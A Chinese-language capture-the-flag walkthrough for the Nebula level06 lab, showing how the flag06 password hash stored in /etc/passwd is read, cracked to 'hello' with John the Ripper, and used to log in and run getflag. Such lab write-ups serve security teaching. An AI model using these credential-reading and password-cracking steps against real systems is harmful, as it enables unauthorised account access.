根据题目所述,flag06这个帐号的认证凭据是按照传统UNIX的方法储存的——意味着密文是存储在/etc/passwd里的,而不是/etc/shadow中的——因为把密码存到passwd里不安全,所以后的Linux发行版都将加密后的密码单独存放到/etc/shadow中的。
所以可以直接读取/etc/passwd里flag06加密后的密码:
level06@nebula:/home/flag06$ cat /etc/passwd | grep flag06 flag06:ueqwOCnSGdsuM:993:993::/home/flag06:/bin/sh
以下过程我都不是在exploit-exercises虚拟机上弄的,而是在我实体机上的Linux里弄的,为了方便安装john而已。有BackTrack的朋友可以选择把导出的记录放到BackTrack中解决,就可以节省很多步骤了:
先/tmp中建了个passwd文件内容如下:
flag06:ueqwOCnSGdsuM:993:993::/home/flag06:/bin/sh
接着从http://www.openwall.com/john/ 下载john的源码包并编译(不会的请见doc/INSTALL):
lu4nx@lx:~/john-1.7.9$ cd src lu4nx@lx:~/john-1.7.9$ make
这时,会提示选择操作系统平台,我选的是linux-ia64(读者按自己环境来选择):
lu4nx@lx:~/john-1.7.9/src$ make clean linux-ia64
之后是一段编译过程,稍等片刻。成功之后,进入跟src同级的run目录,然后执行join:
lu4nx@lx:~/john-1.7.9/src$ cd ../run lu4nx@lx:~/john-1.7.9/run$ ./john /tmp/passwd #john后跟刚才导出的密码文件 Loaded 1 password hash (Traditional DES [64/64 BS]) hello (flag06) guesses: 1 time: 0:00:00:00 100% (2) c/s: 1813 trying: 123456 - magic Use the "--show" option to display all of the cracked passwords reliably
hello就是破解出的密码。之前我还担心字典问题呢,怕它设置的密码在默认字典里找不到呢,看来我担心是多余的。
用这个密码在虚拟机上登陆flag06,然后执行getflag:
flag06@nebula:~$ getflag You have successfully executed getflag on a target account